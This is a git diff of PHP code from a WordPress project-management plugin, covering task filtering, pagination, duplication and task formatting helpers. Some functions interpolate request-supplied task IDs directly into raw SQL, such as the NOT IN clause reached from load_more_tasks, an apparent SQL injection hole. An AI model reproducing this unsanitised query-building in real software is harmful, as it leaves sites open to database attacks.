$request->get_param('project_id'); + $title = $request->get_param('title'); + $tb_lists = pm_tb_prefix() . 'pm_boards'; + + + $task_lists = Task_List::select( $tb_lists.'.*' )->with( + [ + 'tasks' => function($q) use( $status, $due_date, $assignees, $project_id, $title ) { + if ( ! empty( $title ) ) { + $q->where('title', 'like', "%{$title}%"); + } + + $q->where('project_id', $project_id); + + if ( ! empty( $status ) ) { + $status = $status == 'complete' ? 1 : 0; + $q->where( 'status', $status ); + } + + if ( ! empty( $due_date ) ) { + if( $due_date == 'overdue' ) { + $today = date( 'Y-m-d', strtotime( current_time('mysql') ) ); + $q->where( 'due_date', '<', $today ); + } else if ( $due_date == 'today' ) { + $today = date('Y-m-d', strtotime( current_time('mysql') ) ); + $q->where( 'due_date', $today ); + } else if ( $due_date == 'week' ) { + $today = date('Y-m-d', strtotime( current_time('mysql') ) ); + $last = date('Y-m-d', strtotime( current_time('mysql') . '-1 week' ) ); + + $q->where( 'due_date', '>=', $last ); + $q->where( 'due_date', '<=', $today ); + } + } + + if ( ! empty( $assignees ) && ! empty( $assignees[0] ) ) { + $q->whereHas('assignees', function( $assign_query ) use( $assignees ) { + if( is_array( $assignees ) && $assignees[0] != 0 ) { + $assign_query->whereIn('assigned_to', $assignees); + } else if ( !is_array( $assignees ) && $assignees != 0) { + $assign_query->where('assigned_to', $assignees); + } + }); + } + + $q = apply_filters( 'pm_task_filter_query', $q, $project_id ); + } + ] + ) + ->whereHas('tasks', function($q) use( $status, $due_date, $assignees, $project_id, $title ) { + if ( ! empty( $title ) ) { + $q->where('title', 'like', "%{$title}%"); + } + $q->where('project_id', $project_id); + + if ( ! empty( $status ) ) { + $status = $status == 'complete' ? 1 : 0; + $q->where( pm_tb_prefix(). 'pm_tasks.status', $status ); + } + + if ( ! empty( $due_date ) ) { + if( $due_date == 'overdue' ) { + $today = date( 'Y-m-d', strtotime( current_time('mysql') ) ); + $q->where( 'due_date', '<', $today ); + } else if ( $due_date == 'today' ) { + $today = date('Y-m-d', strtotime( current_time('mysql') ) ); + $q->where( 'due_date', $today ); + } else if ( $due_date == 'week' ) { + $today = date('Y-m-d', strtotime( current_time('mysql') ) ); + $last = date('Y-m-d', strtotime( current_time('mysql') . '-1 week' ) ); + + $q->where( 'due_date', '>=', $last ); + $q->where( 'due_date', '<=', $today ); + } + } + + if ( ! empty( $assignees ) && ! empty( $assignees[0] ) ) { + $q->whereHas('assignees', function( $assign_query ) use( $assignees ) { + if( is_array( $assignees ) && $assignees[0] != 0 ) { + $assign_query->whereIn('assigned_to', $assignees); + } else if ( !is_array( $assignees ) && $assignees != 0) { + $assign_query->where('assigned_to', $assignees); + } + }); + } + + $q = apply_filters( 'pm_task_filter_query', $q, $project_id ); + + } + ) + ->where(function($q) use( $lists ) { + if( !empty( $lists ) && !empty( $lists[0] ) ) { + if( is_array( $lists ) && $lists[0] != 0 ) { + $q->whereIn( pm_tb_prefix() . 'pm_boards.id', $lists ); + } else if ( !is_array( $lists ) && $lists != 0 ) { + $q->where( pm_tb_prefix() . 'pm_boards.id', $lists ); + } + } + }) + ->where( pm_tb_prefix() . 'pm_boards.status', 1 ) + ->where( pm_tb_prefix() . 'pm_boards.project_id', $project_id) + ->orderBy( pm_tb_prefix() . 'pm_boards.order', 'DESC' ); + + return apply_filters( 'pm_check_task_filter_list_permission', $task_lists, $request ); + } + + public function filter( WP_REST_Request $request ) { + $per_page = pm_get_setting( 'list_per_page' ); + $per_page = empty( $per_page ) ? 20 : $per_page; + + $it_per_page = pm_get_setting( 'incomplete_tasks_per_page' ); + $it_per_page = empty( $per_page ) ? 20 : intval( $per_page ); + + $ct_per_page = pm_get_setting( 'complete_tasks_per_page' ); + $ct_per_page = empty( $per_page ) ? 20 : intval( $per_page ); + + $page = $request->get_param('page'); + $project_id = $request->get_param('project_id'); + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $task_lists = $this->filter_query( $request ); + + $task_lists = $task_lists->paginate( $per_page ); + $collection = $task_lists->getCollection(); + + $list_ids = []; + $task_ids = []; + + //get all list ids and tasks ids in individual array + foreach ( $collection as $key => $task_list ) { + $list_ids[] = $task_list->id; + + foreach ( $task_list->tasks as $key => $task_item ) { + $task_ids[] = $task_item->id; + } + } + + $filter = [ + 'status' => $request->get_param('status'), + 'due_date' => $request->get_param('dueDate'), + 'users' => $request->get_param('users'), + 'title' => $request->get_param('title') + ]; + + //get total complete and incomplete tasks count + $lists_tasks_count = ( new Task_List_Controller )->get_lists_tasks_count( $list_ids, $project_id, $filter ); + + foreach ( $collection as $key => $collection_data ) { + $collection_data->lists_tasks_count = empty( $lists_tasks_count[$collection_data->id] ) ? [] : $lists_tasks_count[$collection_data->id]; + } + + $resource = new Collection( $collection, new New_Task_List_Transformer ); + $resource->setPaginator( new IlluminatePaginatorAdapter( $task_lists ) ); + + $lists = $this->get_response( $resource ); + $tasks = $this->get_tasks( $task_ids ); + + $merge = []; + + foreach ( $tasks['data'] as $tk => $task ) { + $list_id = $task['task_list_id']; + + if ( $task['status'] == 'incomplete' ) { + $merge[$list_id]['incomplete_tasks'][] = $task; + } + + if ( $task['status'] == 'complete' ) { + $merge[$list_id]['complete_tasks'][] = $task; + } + } + + foreach ( $lists['data'] as $key => $list ) { + $id = $list['id']; + + if ( ! empty( $merge[$id] ) ) { + $lists['data'][$key]['incomplete_tasks']['data'] = ! empty( $merge[$id]['incomplete_tasks'] ) ? $merge[$id]['incomplete_tasks'] : []; + $lists['data'][$key]['complete_tasks']['data'] = ! empty( $merge[$id]['complete_tasks'] ) ? $merge[$id]['complete_tasks'] : []; + } + } + + return $lists; + } + + public function activities( WP_REST_Request $request ) { + + $current_page = $request->get_param( 'activityPage' ); + $task_id = $request->get_param( 'task_id' ); + $per_page = 10; + + Paginator::currentPageResolver(function () use ($current_page) { + return $current_page; + }); + + $activities = Activity::where('resource_id', $task_id) + ->where( 'resource_type', 'task' ) + ->orderBy( 'created_at', 'DESC' ) + ->paginate( $per_page ); + + $activity_collection = $activities->getCollection(); + + $resource = new Collection( $activity_collection, new Activity_Transformer ); + $resource->setPaginator( new IlluminatePaginatorAdapter( $activities ) ); + + + return $this->get_response( $resource ); + } + + public function transform_tasks( $tasks ) { + $transform_tasks = new Collection( $tasks, new New_Task_Transformer ); + $all_tasks = $this->get_response( $transform_tasks ); + return apply_filters( 'pm_after_transformer_list_tasks', $all_tasks ); + } + + public function get_tasks_meta( $tasks_ids = [] ) { + global $wpdb; + + if ( empty( $tasks_ids ) ) { + $tasks_ids[] = 0; + } + + $comment = pm_tb_prefix() . 'pm_comments'; + $assignees = pm_tb_prefix() . 'pm_assignees'; + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $tb_lists = pm_tb_prefix() . 'pm_boards'; + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $task_ids = implode( ',', $tasks_ids ); + + $tasks = "SELECT tk.id, + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'assigned_to', '\"', ':' , '\"', IFNULL(asgn.assigned_to, '') , '\"' , ',', + '\"', 'assigned_at', '\"', ':' , '\"', IFNULL(asgn.assigned_at, '') , '\"' , ',', + '\"', 'completed_at', '\"', ':' , '\"', IFNULL(asgn.completed_at, '') , '\"' , ',', + '\"', 'started_at', '\"', ':' , '\"', IFNULL(asgn.started_at, '') , '\"' , ',', + '\"', 'status', '\"', ':' , '\"', IFNULL(asgn.status, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as assignees, + + count(cm.id) as total_comment + + FROM $tb_tasks as tk + LEFT JOIN $comment as cm ON tk.id=cm.commentable_id AND cm.commentable_type = 'task' + LEFT JOIN $assignees as asgn ON tk.id=asgn.task_id + where + tk.id In ($task_ids) + GROUP BY tk.id"; + + + $results = $wpdb->get_results( $tasks ); + + $returns = []; + + foreach ( $results as $key => $result ) { + $users = []; + + if ( ! empty( $result->assignees ) ) { + $user_assigns = explode( '|', $result->assignees ); + + foreach ( $user_assigns as $assingne => $user_assign ) { + $users[] = json_decode( $user_assign ); + } + } + + $result->assignees = $users; + $returns[$result->id] = $result; + } + + return $returns; + } + + public function get_incomplete_task_ids( $list_ids, $project_id, $not_in_tasks = [] ) { + global $wpdb; + + if ( empty( $list_ids ) ) { + $list_ids[] = 0; + } + + $per_page_count = isset( $_GET['incomplete_task_page'] ) ? intval( $_GET['incomplete_task_page'] ) : false; + + $table_ba = $wpdb->prefix . 'pm_boardables'; + $table_task = $wpdb->prefix . 'pm_tasks'; + + $per_page = pm_get_setting( 'incomplete_tasks_per_page' ); + $per_page = empty( $per_page ) ? 20 : intval( $per_page ); + + if ( intval( $per_page_count ) ) { + $start = $per_page_count-1; + } else { + $start = 0; + } + + $list_ids = implode(',', $list_ids ); + $permission_join = apply_filters( 'pm_incomplete_task_query_join', '', $project_id ); + $where = apply_filters( 'pm_incomplete_task_query_where', '', $project_id ); + + if ( ! empty( $not_in_tasks ) ) { + $not_in_tasks = implode( ',', $not_in_tasks ); + $where .= " AND itasks.id NOT IN ({$not_in_tasks})"; + } + + $sql = "SELECT ibord_id, GROUP_CONCAT( DISTINCT task.task_id order by task.iorder DESC) as itasks_id + FROM + ( + SELECT + itasks.id as task_id, + ibord.board_id as ibord_id, + ibord.order as iorder + FROM + $table_task as itasks + inner join $table_ba as ibord on itasks.id = ibord.boardable_id + AND ibord.board_id in ($list_ids) + $permission_join + WHERE + itasks.status=0 + AND ibord.board_type='task_list' + AND ibord.boardable_type='task' + $where + order by iorder asc + + ) as task + + group by ibord_id"; + + $results = $wpdb->get_results( $sql ); + + if ( $per_page_count != -1 ) { + $results = $this->set_pagination( $results, $start, $per_page ); + } + + $task_ids = wp_list_pluck( $results, 'itasks_id' ); + $task_ids = implode( ',', $task_ids ); + + return explode(',', $task_ids); + } + + private function set_pagination( $results, $start, $per_page ) { + + foreach ( $results as $key => $result ) { + $ids = explode( ',', $result->itasks_id ); + $ids = array_chunk( $ids, $per_page ); + $chunk = ''; + + if ( isset( $ids[$start] ) ) { + $chunk = implode( ',', $ids[$start] ); + } + + $result->itasks_id = empty( $chunk ) ? '' : $chunk; + } + + return $results; + } + + public function get_complete_task_ids( $list_ids, $project_id, $not_in_tasks = [] ) { + global $wpdb; + + if ( empty( $list_ids ) ) { + $list_ids[] = 0; + } + + $per_page_count = isset( $_GET['complete_task_page'] ) ? intval( $_GET['complete_task_page'] ) : false; + + $table_ba = $wpdb->prefix . 'pm_boardables'; + $table_task = $wpdb->prefix . 'pm_tasks'; + + $per_page = pm_get_setting( 'complete_tasks_per_page' ); + $per_page = empty( $per_page ) ? 20 : intval( $per_page ); + + if ( intval( $per_page_count ) ) { + $start = $per_page_count-1; + } else { + $start = 0; + } + + $list_ids = implode(',', $list_ids ); + $permission_join = apply_filters( 'pm_complete_task_query_join', '', $project_id ); + $where = apply_filters( 'pm_complete_task_query_where', '', $project_id ); + + if ( ! empty( $not_in_tasks ) ) { + $not_in_tasks = implode( ',', $not_in_tasks ); + $where .= " AND itasks.id NOT IN ({$not_in_tasks})"; + } + + $sql = "SELECT ibord_id, GROUP_CONCAT( DISTINCT task.task_id order by task.iorder DESC) as itasks_id + FROM + ( + SELECT + itasks.id as task_id, + ibord.board_id as ibord_id, + ibord.order as iorder + FROM + $table_task as itasks + inner join $table_ba as ibord on itasks.id = ibord.boardable_id + AND ibord.board_id in ($list_ids) + $permission_join + WHERE + itasks.status=1 + AND ibord.board_type='task_list' + AND ibord.boardable_type='task' + $where + order by iorder asc + + ) as task + + group by ibord_id"; + + $results = $wpdb->get_results( $sql ); + + if ( $per_page_count != -1 ) { + $results = $this->set_pagination( $results, $start, $per_page ); + } + + $task_ids = wp_list_pluck( $results, 'itasks_id' ); + $task_ids = implode( ',', $task_ids ); + + return explode(',', $task_ids); + + } + + public function get_tasks( $task_ids, $args=[] ) { + global $wpdb; + + foreach ( (array) $task_ids as $key => $task_id ) { + if ( empty( intval( $task_id ) ) ) { + unset( $task_ids[$key] ); + } + } + + $default = [ + 'list_task_transormer_filter' => true + ]; + + $args = wp_parse_args( $args, $default ); + + if ( empty( $task_ids ) ) { + $task_ids[] = 0; + } + + $task = pm_tb_prefix() . 'pm_tasks'; + $list = pm_tb_prefix() . 'pm_boardables'; + $comment = pm_tb_prefix() . 'pm_comments'; + $assignees = pm_tb_prefix() . 'pm_assignees'; + + $task_collection = Task::select( $task . '.*') + ->selectRaw( + "GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'assigned_to', '\"', ':' , '\"', IFNULL($assignees.assigned_to, '') , '\"' , ',', + '\"', 'assigned_at', '\"', ':' , '\"', IFNULL($assignees.assigned_at, '') , '\"' , ',', + '\"', 'completed_at', '\"', ':' , '\"', IFNULL($assignees.completed_at, '') , '\"' , ',', + '\"', 'started_at', '\"', ':' , '\"', IFNULL($assignees.started_at, '') , '\"' , ',', + '\"', 'status', '\"', ':' , '\"', IFNULL($assignees.status, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as assignees" + ) + ->selectRaw( "count($comment.id) as total_comment" ) + ->whereIn( $task . '.id', $task_ids ) + + ->leftJoin( $list, function( $join ) use($task, $list) { + $join->on( $task . '.id', '=', $list . '.boardable_id' ); + }) + ->leftJoin( $comment, function( $join ) use($task, $comment) { + $join->on( $task . '.id', '=', $comment . '.commentable_id' ) + ->where($comment . '.commentable_type', 'task'); + }) + ->leftJoin( $assignees, function( $join ) use($task, $assignees) { + $join->on( $task . '.id', '=', $assignees . '.task_id' ); + }) + + ->groupBy( $task . '.id' ) + ->orderBy( $list . '.order', 'DESC' ); + + $task_collection = apply_filters( 'list_tasks_filter_query', $task_collection, $args ); + + $task_collection = $task_collection->get(); + + $task_transformer = new List_Task_Transformer(); + $task_transformer->list_task_transormer_filter = $args['list_task_transormer_filter']; + + $resource = new collection( $task_collection, $task_transformer ); + $tasks = $this->get_response( $resource ); + $tasks = apply_filters( 'pm_after_transformer_list_tasks', $tasks, $task_ids ); + + return $tasks; + } + + public function duplicate( WP_REST_Request $request ) { + $task_id = $request->get_param( 'task_id' ); + + $task = $this->get_task( $task_id ); + $list_id = $task['data']['task_list_id']; + $task = Task::find( $task_id ); + $task->title = __( 'Copy ', 'wedevs-project-manager' ) . $task->title; + $project_id = $task->project_id; + $duplicate_task = $this->task_duplicate( $task, $list_id, $project_id ); + $new_task = $this->get_task( $duplicate_task->id ); + + do_action( 'pm_after_task_duplicate', $new_task, $task ); + + wp_send_json_success( + [ + 'task' => $new_task['data'], + 'list_id' => $list_id, + 'project_id' => $project_id, + + ] + ); + } + + public function task_duplicate ( Task $task, $list_id = false, $project_id = false ) { + $task_data = []; + $boardable_data = []; + $assignee_data = []; + $meta_data = []; + + if ( $project_id ) { + $task_data ['project_id'] = $project_id; + $assignee_data['project_id'] = $project_id; + $meta_data ['project_id'] = $project_id; + } + + $newTask = $this->replicate( $task, $task_data ); + + $meta = [ + 'task_title' => $newTask->title, + ]; + + Task_Observer::log_activity( $newTask, 'create_task', 'create', $meta ); + + // Include task and task list + $boardable_data['boardable_id'] = $newTask->id; + $assignee_data ['task_id'] = $newTask->id; + $meta_data ['entity_id'] = $newTask->id; + + if ( $list_id ) { + $boardable_data['board_id'] = $list_id; + } + + foreach ( $task->boardables as $boardable ) { + $newBoardables = $this->replicate( $boardable, $boardable_data ); + } + + // Duplicate Assignee in this task + + foreach ( $task->assignees as $assignee ) { + $newAssignee = $this->replicate( $assignee, $assignee_data ); + } + + foreach ( $task->metas as $meta ) { + $newMeta = $this->replicate( $meta, $meta_data ); + } + + do_action( 'cpm_task_duplicate_after', $newTask->id, $list_id, $project_id ); + do_action( 'pm_task_duplicate_after', $newTask->id, $list_id, $project_id, $task ); + + return $newTask; + } + + private function replicate( $model, $newValues=null, $fireEvents=false) { + $newModel = $model->replicate()->setRelations([]); + + if ( $newValues !== null && is_array( $newValues ) ) { + foreach ($newValues as $key => $value) { + $newModel->{$key} = $value; + } + } + + if ( !$fireEvents ) { + $newModel->unsetEventDispatcher(); + } + + if ( $newModel->save() ) { + return $newModel; + } + } + + public function load_more_tasks( WP_REST_Request $request ) { + $list_id = $request->get_param( 'list_id' ); + $task_ids = $request->get_param( 'task_ids' ); + $project_id = $request->get_param( 'project_id' ); + $status = $request->get_param( 'status' ); + + if ( (int) $status ) { + $task_ids = $this->get_complete_task_ids( [$list_id], $project_id, $task_ids ); + } else { + $task_ids = $this->get_incomplete_task_ids( [$list_id], $project_id, $task_ids ); + } + + $tasks = pm_get_tasks( [ 'id' => $task_ids ] ); + + wp_send_json_success( + [ + 'project_id' => $project_id, + 'list_id' => $list_id, + 'tasks' => $tasks, + 'status' => (int) $status + ] + ); + } +} diff --git a/src/Task/Helper/Task.php b/src/Task/Helper/Task.php index dd0d630b0..c9082e17d 100644 --- a/src/Task/Helper/Task.php +++ b/src/Task/Helper/Task.php @@ -1,1852 +1,1852 @@ -set_table_name(); - $this->set_login_user(); - } - - private function set_login_user() { - - $this->user_id = empty( $this->query_params['login_user'] ) ? - get_current_user_id() : (int) $user_id; - } - - /** - * AJAX Get tasks - * - * @param array $request - * - * @return Object - */ - public static function get_tasks( WP_REST_Request $request ) { - $self = self::getInstance(); - $tasks = self::get_results( $request->get_params() ); - - wp_send_json( $tasks ); - } - - - /** - * AJAX Get tasks Csv - * - * @param array $request - * - */ - public static function get_taskscsv( WP_REST_Request $request ) { - $self = self::getInstance(); - $tasks = self::get_results( $request->get_params() ); - header('Content-Type: text/csv; charset=utf-8'); - header('Content-Disposition: attachment; filename=data.csv'); - $output = fopen("php://output", "w"); - - fputcsv( $output, [__('Tasks', 'pm-pro' ), __( 'Task List', 'pm-pro' ), __( 'Project Name', 'pm-pro' ), - __('Due Date', 'pm-pro'),__( 'Created At', 'pm-pro' ) - ] ); - - foreach ( $tasks['data'] as $key => $result ) { - error_log(print_r($result,true)); - fputcsv( $output, - [ - $result['title'], $result['task_list']->title, $result['project']->title,$result['due_date'], - $result['created_at'], - ] - ); - } - - fclose($output); - exit(); - } - - /** - * Get tasks - * - * @param array $params - * - * @return array - */ - public static function get_results( $params ) { - $self = self::getInstance(); - $self->query_params = $params; - - $self->select() - ->join() - ->where() - ->limit() - ->orderby() - ->get() - ->with(); - - $response = $self->format_tasks( $self->tasks ); - - if ( pm_is_single_query( $params ) ) { - return ['data' => $response['data'][0]] ; - } - - return $response; - } - - /** - * Format tasks data - * - * @param array $tasks - * - * @return array - */ - public function format_tasks( $tasks ) { - - $response = [ - 'data' => [], - 'meta' => [] - ]; - - // if ( ! is_array( $tasks ) ) { - // $response['data'] = $this->fromat_task( $tasks ); - // $response['meta'] = $this->set_meta(); - // return $response; - // } - - foreach ( $tasks as $key => $task ) { - $tasks[$key] = $this->fromat_task( $task ); - } - - $response['data'] = $tasks; - $response['meta'] = $this->set_meta(); - - return $response; - } - - /** - * Set meta data - */ - private function set_meta() { - return [ - 'total_tasks' => (int) $this->found_rows, - 'total_page' => ceil( $this->found_rows/$this->get_per_page() ), - 'per_page' => $this->get_per_page() - ]; - } - - /** - * Format task data - * - * @param Object $task - * - * @return array - */ - public function fromat_task( $task ) { - - $items = [ - 'id' => (int) $task->id, - 'title' => (string) $task->title, - 'description' => [ 'html' => pm_get_content( $task->description ), 'content' => $task->description ], - 'estimation' => $task->estimation * 60, - 'comparable_estimation' => $task->comparable_estimation, - 'formated_com_est' => pm_second_to_time( $task->comparable_estimation * 60 ), - 'start_at' => format_date( $task->start_at ), - 'due_date' => format_date( $task->due_date ), - 'complexity' => $this->complexity( $task->complexity ), - 'priority' => $this->priorities( $task->priority ), - 'order' => empty( $task->order ) ? 0 : intval( $task->order ), - 'payable' => $this->payability( $task->payable ), - 'recurrent' => $this->recurrency( $task->recurrent ), - 'parent_id' => (int) $task->parent_id, - 'status' => $this->status( $task->status ), - 'category_id' => empty( $task->type['id'] ) ? '' : (int) $task->type['id'], - 'created_at' => format_date( $task->created_at ), - 'created_by' => (int) $task->created_by, - 'completed_at' => format_date( $task->completed_at ), - 'updated_at' => format_date( $task->updated_at ), - 'creator' => [ 'data' => $this->user_info( $task->created_by ) ], - 'updater' => [ 'data' => $this->user_info( $task->updated_by ) ], - ]; - - // $select_items = empty( $this->query_params['select'] ) ? false : $this->query_params['select']; - - // if ( $select_items && ! is_array( $select_items ) ) { - // $select_items = str_replace( ' ', '', $select_items ); - // $select_items = explode( ',', $select_items ); - // } - - // if ( empty( $select_items ) ) { - // $items = $this->set_with_items( $items, $task ); - // $items = $this->set_fixed_items( $items, $task ); - // $items = $this->set_item_meta( $items, $task ); - - // return $items; - // } - - // foreach ( $items as $item_key => $item ) { - - // if ( ! in_array( $item_key, $select_items ) ) { - // unset( $items[$item_key] ); - // } - // } - - $items = $this->set_with_items( $items, $task ); - $items = $this->set_fixed_items( $items, $task ); - $items = $this->set_item_meta( $items, $task ); - - return $items; - } - - private function set_item_meta( $item, $task ) { - $item['meta'] = empty( $task->meta ) ? [] : $task->meta; - - $item['meta']['total_comment'] = $task->total_comments; - $item['meta']['can_complete_task'] = $this->pm_user_can_complete_task( $task ); - $item['meta']['total_files'] = $task->total_files; - $item['meta']['total_assignee'] = count( $task->assignees['data'] ); - $item['meta']['privacy'] = $task->is_private; - - return $item; - } - - function pm_user_can_complete_task( $task, $user_id = false ) { - if(!$task) { - return false; - } - $user_id = $user_id ? $user_id: get_current_user_id(); - - if ( pm_has_manage_capability( $user_id ) ) { - return true; - } - - if ( pm_is_manager( $task->project_id, $user_id ) ) { - return true; - } - - if ( (int) $task->created_by == $user_id ) { - return true; - } - //pmpr($task); die(); - $assignees = $task->assignees['data']; //pluck( 'assigned_to' )->all(); - $assignees = wp_list_pluck( $assignees, 'id' ); - $in_array = in_array( $user_id, $assignees ); - - if ( !empty( $in_array ) ) { - return true; - } - - return false; - } - - private function set_with_items( $items, $task ) { - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace( ' ', '', $with ) ); - } - - $with = array_merge( $this->with, $with ); - - $task_with_items = array_intersect_key( (array) $task, array_flip( $with ) ); - $items = array_merge( $items, $task_with_items ); - - return $items; - } - - private function set_fixed_items( $items, $task ) { - - $items['id'] = (int) $task->id; - $items['project_id'] = (int) $task->project_id; - $items['project_title'] = $task->project_title; - $items['type'] = $task->type; - $items['order'] = $task->order; - $items['assignees'] = $task->assignees; - $items['task_list_id'] = (int) $task->task_list_id; - $items['task_list_title'] = $task->task_list_title; - - if ( isset( $task->is_stop_watch_visible ) ) { - $items['is_stop_watch_visible'] = $task->is_stop_watch_visible; - } - - if ( isset( $task->custom_time_form ) ) { - $items['custom_time_form'] = $task->custom_time_form; - } - - return $items; - } - - public function user_info( $user_id ) { - $user = get_user_by( 'id', $user_id ); - - $data = [ - 'id' => (int) $user->ID, - 'username' => $user->user_login, - 'nicename' => $user->user_nicename, - 'email' => $user->user_email, - 'profile_url' => $user->user_url, - 'display_name' => $user->display_name, - 'manage_capability' => (int) pm_has_manage_capability($user->ID), - 'create_capability' => (int) pm_has_project_create_capability($user->ID), - 'avatar_url' => get_avatar_url( $user->user_email ), - 'github' => get_user_meta($user->ID,'github' ,true), - 'bitbucket' => get_user_meta($user->ID,'bitbucket', true) - ]; - - return $data; - } - - public static function complexity( $complexity ) { - $complexity = empty( intval( $complexity ) ) ? 0 : intval( $complexity ); - - $items = [ - 0 => 'basic', - 1 => 'intermediate', - 2 => 'advance' - ]; - - return $items[$complexity]; - } - - public static function priorities( $priorities ) { - $priorities = empty( intval( $priorities ) ) ? 0 : intval( $priorities ); - - $items = [ - 0 => 'low', - 1 => 'medium', - 2 => 'high', - ]; - - return $items[$priorities]; - } - - public static function status( $status ) { - $status = empty( intval( $status ) ) ? 0 : intval( $status ); - - $items = [ - 0 => 'incomplete', - 1 => 'complete', - 2 => 'pending', - ]; - - return $items[$status]; - } - - public static function recurrency( $recurrency ) { - $recurrency = empty( intval( $recurrency ) ) ? 0 : intval( $recurrency ); - - $items = [ - 0 => '0', // no repeat - 1 => '1', // weekly - 2 => '2', // Monthly - 3 => '3', // Annually - 4 => '4', // daily - 9 => '9', // never - ]; - - return $items[$recurrency]; - } - - public static function payability( $payability ) { - $payability = empty( intval( $payability ) ) ? 0 : intval( $payability ); - - $items = [ - 0 => 'no', - 1 => 'yes' - ]; - - return $items[$payability]; - } - - /** - * Join others table information - * - * @return Object - */ - private function with() { - $this->include_project() - ->include_subtasks() - ->include_list() - ->include_assignees() - ->include_total_comments() - ->include_total_files() - ->include_task_type() - ->include_task_order() - ->include_estimation_time() - ->include_default_meta() - ->include_activities() - ->include_comments() - ->include_time() - ->include_label() - ->include_milestone(); - - $this->tasks = apply_filters( 'pm_task_with',$this->tasks, $this->task_ids, $this->query_params ); - - return $this; - } - - private function include_milestone() { - global $wpdb; - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - $with = pm_get_prepare_data( $with ); - - if ( ! in_array( 'milestone', $with ) || empty( $this->task_ids ) ) { - return $this; - } - - $list_ids = wp_list_pluck( $this->tasks, 'task_list_id' ); - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - - if ( empty( $list_ids ) ) { - foreach ( $this->tasks as $key => $task ) { - $task->milestone['data'] = []; - } - - return $this; - } - - $list_format = pm_get_prepare_format( $list_ids ); - $format_data = array_merge( $list_ids, ['task_list', 'milestone'] ); - - $query = $wpdb->prepare( "SELECT board_id as milestone_id, boardable_id as list_id - FROM $tb_boardable - WHERE $tb_boardable.boardable_id IN ($list_format) - AND $tb_boardable.boardable_type = %s - AND $tb_boardable.board_type = %s", - $format_data - ); - - $results = $wpdb->get_results( $query ); - $milestone_ids = wp_list_pluck( $results, 'milestone_id' ); - $milestone_ids = empty( $milestone_ids ) ? [0] : $milestone_ids; - $milestones = pm_get_milestones([ 'id' => $milestone_ids]); - - $mis_key_id = []; - $list_mils = []; - - foreach ( $milestones['data'] as $key => $milestone ) { - $id = $milestone['id']; - $mis_key_id[$id] = $milestone; - } - - foreach ( $results as $key => $result ) { - $milestone_id = $result->milestone_id; - $list_id = $result->list_id; - - if( empty( $mis_key_id[$milestone_id] ) ) { - continue; - } - - $list_mils[$list_id] = $mis_key_id[$milestone_id]; - } - - foreach ( $this->tasks as $key => $task ) { - if ( empty( $list_mils[$task->task_list_id] ) ) { - $task->milestone['data'] = []; - } else { - $task->milestone['data'] = $list_mils[$task->task_list_id]; - } - } - - return $this; - } - - private function include_label() { - global $wpdb; - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - $with = pm_get_prepare_data( $with ); - - if ( ! in_array( 'labels', $with ) || empty( $this->task_ids ) ) { - return $this; - } - - if ( ! function_exists( 'pm_pro_get_labels' ) ) { - return $this; - } - - $results = pm_pro_get_labels([ - 'task_id' => $this->task_ids - ]); - - $labels = []; - - foreach ( $results['data'] as $key => $result ) { - $task_id = $result['task_id']; - $labels[$task_id][] = $result; - } - - foreach ( $this->tasks as $key => $task ) { - $task->labels['data'] = empty( $labels[$task->id] ) ? [] : $labels[$task->id]; - } - - return $this; - } - - private function include_time() { - global $wpdb; - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - $with = pm_get_prepare_data( $with ); - - if ( ! in_array( 'time', $with ) || empty( $this->task_ids ) ) { - return $this; - } - - if ( ! pm_is_active_time_tracker_module() ) { - return $this; - } - - if ( ! function_exists( 'pm_pro_get_times' ) ) { - return $this; - } - - $results = pm_pro_get_times([ - 'task_id' => $this->task_ids - ]); - - $times = []; - $user_times = []; - $meta = []; - $all_data = []; - - foreach ( $results['data'] as $key => $result ) { - if ( empty( $result['task_id'] ) ) { - continue; - } - - $task_id = $result['task_id']; - $times[$task_id][] = $result; - } - - foreach ( $results['all_data'] as $key => $result ) { - if ( empty( $result['task_id'] ) ) { - continue; - } - - $task_id = $result['task_id']; - $all_data[$task_id][] = $result; - } - - foreach ( $results['users_data'] as $task_id => $result ) { - $user_times[$task_id] = $result; - } - - foreach ( $results['meta']['tasks_total_time'] as $task_id => $result ) { - $meta[$task_id] = $result; - } - - foreach ( $this->tasks as $key => $task ) { - $task->time['data'] = empty( $times[$task->id] ) ? [] : $times[$task->id]; - $task->time['all_data'] = empty( $all_data[$task->id] ) ? [] : $all_data[$task->id]; - $task->time['users_data'] = empty( $user_times[$task->id] ) ? [] : $user_times[$task->id]; - $task->time['meta'] = empty( $meta[$task->id] ) ? [] : $meta[$task->id]; - } - - $task->time['meta']['running'] = $results['meta']['running']; - $task->time['meta']['totalTaskTime'] = $results['meta']['totalTaskTime']; - $task->time['meta']['totalTime'] = $results['meta']['totalTime']; - - return $this; - } - - private function include_comments() { - global $wpdb; - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - $with = pm_get_prepare_data( $with ); - - if ( ! in_array( 'comments', $with ) || empty( $this->task_ids ) ) { - return $this; - } - - $comments = pm_get_comments([ - 'commentable_id' => array_unique( $this->task_ids ), - 'commentable_type' => 'task' - ]); - - $items = []; - - foreach ( $comments['data'] as $key => $comment ) { - if ( empty( $comment['id'] ) ) { - continue; - } - - $task_id = $comment['commentable_id']; - $items[$task_id][] = $comment; - } - - foreach ( $this->tasks as $key => $task ) { - $task->comments['data'] = empty( $items[$task->id] ) ? [] : $items[$task->id]; - } - - return $this; - } - - private function include_activities() { - global $wpdb; - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - $with = pm_get_prepare_data( $with ); - - if ( ! in_array( 'activities', $with ) || empty( $this->task_ids ) ) { - return $this; - } - - $results = pm_get_activities([ - 'resource_id' => $this->task_ids, - 'resource_type' => 'task' - ]); - - $activities = []; - - foreach ( $results['data'] as $key => $result ) { - $task_id = $result['resource_id']; - 